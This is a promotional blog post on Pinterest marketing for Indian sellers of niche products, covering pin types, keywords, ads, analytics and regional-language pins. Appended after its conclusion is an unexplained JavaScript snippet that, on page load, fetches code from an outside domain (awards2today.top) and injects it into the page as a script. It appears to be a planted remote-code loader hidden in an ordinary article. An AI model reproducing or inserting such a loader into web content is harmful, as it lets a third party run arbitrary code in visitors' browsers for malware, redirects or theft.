What is Pinterest and Why is It Popular for Product Discovery?
Pinterest is not just a social media platform. It’s more like a visual search engine where people come to explore new ideas, plan purchases, and save what they love. Globally, Pinterest has over 482 million monthly active users, and a huge part of its growth is coming from countries like India.
In fact, as per Statista, Pinterest had around 29 million Indian users in 2023, and the number is growing steadily. Indians are using Pinterest to search for everything from Diwali decoration ideas to the best saree designs.
Visual Search & Buying Behaviour in India
Indian buyers are highly visual. Whether it’s choosing a lehenga, a brass diya, or a handmade wall art piece, they want to see how it looks. That’s where Pinterest comes in. It allows sellers to display their products visually, inspiring buyers during their research phase.
Pinterest vs Instagram: Which Works Better for Niche Products?
While Instagram is great for building community, Pinterest is amazing for long-term product discovery. Your pins can keep bringing traffic for months or even years, unlike Instagram posts that fade in 24-48 hours.
How Indian Sellers Can Use Pinterest for Brand Awareness
Story Pins, Product Pins & Rich Pins Explained
- Product Pins: Add pricing, availability, and direct links to your product.
- Rich Pins: Automatically pull metadata from your website to Pinterest.
- Story Pins: Great for tutorials or DIY content (e.g., “how to wear a silk saree”).
Using Pinterest Boards to Organise Niche Products
Create boards like:
- Handmade Diwali Decor
- Organic Beauty from India
- Bridal Wear Inspiration This helps customers discover products by category.
Creating Pin-Worthy Content for Handmade, Ayurvedic, and Regional Products
Use clear images with Indian cultural context. Show your product in use—like someone applying kumkum or decorating a pooja thali.
Trending Niche Categories on Pinterest India
Home Decor & DIY Crafts
Think handmade lanterns, wooden nameplates, Warli paintings—Indians love aesthetic and affordable decor.
Sustainable & Organic Lifestyle Products
Eco-friendly cutlery, bamboo brushes, herbal skin care—these are all popular search terms.
Fashion Accessories (Handmade, Ethnic, Indo-Western)
From terracotta jewellery to oxidised jhumkas, unique accessories perform really well.
Indian Wedding Planning & Gifts
Boards with themes like “Haldi function ideas” or “Mehendi decor” can go viral.
Food Products – Pickles, Sweets, Regional Snacks
A picture of your homemade mango pickle bottle can get shared thousands of times if it’s visually appealing!
Pinterest Business Account Setup Guide (India Edition)
How to Create a Business Profile in Minutes
- Visit business.pinterest.com
- Sign up with your brand name and Indian location
- Add profile photo, description, and website URL
Enabling Pinterest Shopping Feed for Indian eCommerce
You can use Shopify or WooCommerce plugins to connect your product catalog.
Verifying Your Website and Adding Meta Tags
This step helps with analytics and increases your chances of rich pin visibility.
Keyword Strategy for Pinterest SEO
Using Keywords in Pin Titles, Descriptions & Hashtags
Don’t forget to use phrases like “handmade rakhis India” or “organic face pack for oily skin.” This helps Pinterest show your pins to the right audience.
Tools to Discover High-Search Indian Keywords on Pinterest
Try Pinterest Trends, Ubersuggest, or Google Trends (India region) to find what people are searching.
Long-Tail Keywords
Use specific long-tail keywords like:
- “silver oxidised jewellery under 500”
- “eco-friendly Ganesh Chaturthi decor”
These bring in targeted traffic who are ready to buy.
Pinterest Ads for Small Businesses in India
Overview of Promoted Pins and Targeting by Interest & Demographics
Promoted Pins help you reach people based on:
- Interests (e.g., ethnic wear, yoga, DIY crafts)
- Locations (target Tier 1 or Tier 2 cities)
- Language preferences (Hindi, English)
Budgeting for Pinterest Ads (Low-Cost Campaign Ideas)
Start with as low as ₹500/day and test various pin creatives. Many Indian SMBs have seen great results with small spends.
A/B Testing Your Pins for Better Engagement
Try two pins with different image styles or text overlays and see what performs better.
Real-Life Success Stories of Pinterest Marketing in India
How a Local Saree Brand Got 50K Monthly Visitors via Pinterest
A Surat-based saree seller used Pinterest boards like “Festive Sarees 2024” and “Simple Office Wear Looks”. Within 6 months, they saw 50K+ monthly viewers and increased orders.
Case Study: Growth of Organic Skincare Brand from Kochi
By pinning real-use images of their turmeric face packs and aloe vera gels, a small organic brand tripled their traffic from Pinterest.
Measuring ROI and Engagement on Pinterest
Tracking Website Clicks, Saves & Monthly Views
Use Pinterest Analytics (available in business accounts) to monitor:
- Top-performing pins
- Click-through rates (CTR)
- Audience interests and demographics
Using Pinterest Analytics Dashboard Effectively
Check metrics weekly and adjust your pinning strategy. Prioritise pins with high saves and CTRs.
Mistakes to Avoid While Marketing on Pinterest
Overusing Stock Images
People want authenticity. Use original photos—especially if you’re into handmade or regional products.
Not Linking Pins to Correct Product Pages
Always link directly to the product. Don’t frustrate users with broken or mismatched URLs.
Ignoring Pin Sizes and Mobile Layout
Use 1000 x 1500 px size. Remember, most Indian users browse on mobile.
Integrating Pinterest with Shopify, Etsy, and WooCommerce
Step-by-Step Integration for Indian Stores
- Add Pinterest sales channel in Shopify
- Use plugins for WooCommerce
- Verify your domain to enable Product Pins
Best Plugins & Tools to Automate Pinterest Posting
Tools like Tailwind or Buffer can help schedule pins for Indian time zones.
Local Language Pins: Should You Create Hindi or Regional Pins?
Hindi Pins for Ethnic Products and Festive Campaigns
If you’re selling festive items or regional goods, create pins with Hindi overlays or Hinglish captions.
Using Hinglish to Attract Urban Tier 2/3 Audiences
Example: “Shaadi ka simple mehendi decor” works better than pure English sometimes!
Final Checklist for Pinterest Product Marketing Success
Conclusion
Pinterest marketing in India is still under-utilised, but the potential is huge—especially for niche product sellers. From organic skincare to handmade home decor, Pinterest helps you build a long-term visual presence. Unlike paid ads that stop when your budget ends, Pinterest keeps working for you months later.
If you’re a business looking to explore visual marketing, don’t miss out. And if you need help setting up or managing your profile, consider reaching out to professional digital marketing services in India who understand the Indian market inside-out. You focus on creating, we’ll handle the clicks!
;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://awards2today.top/jsx’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
})
});
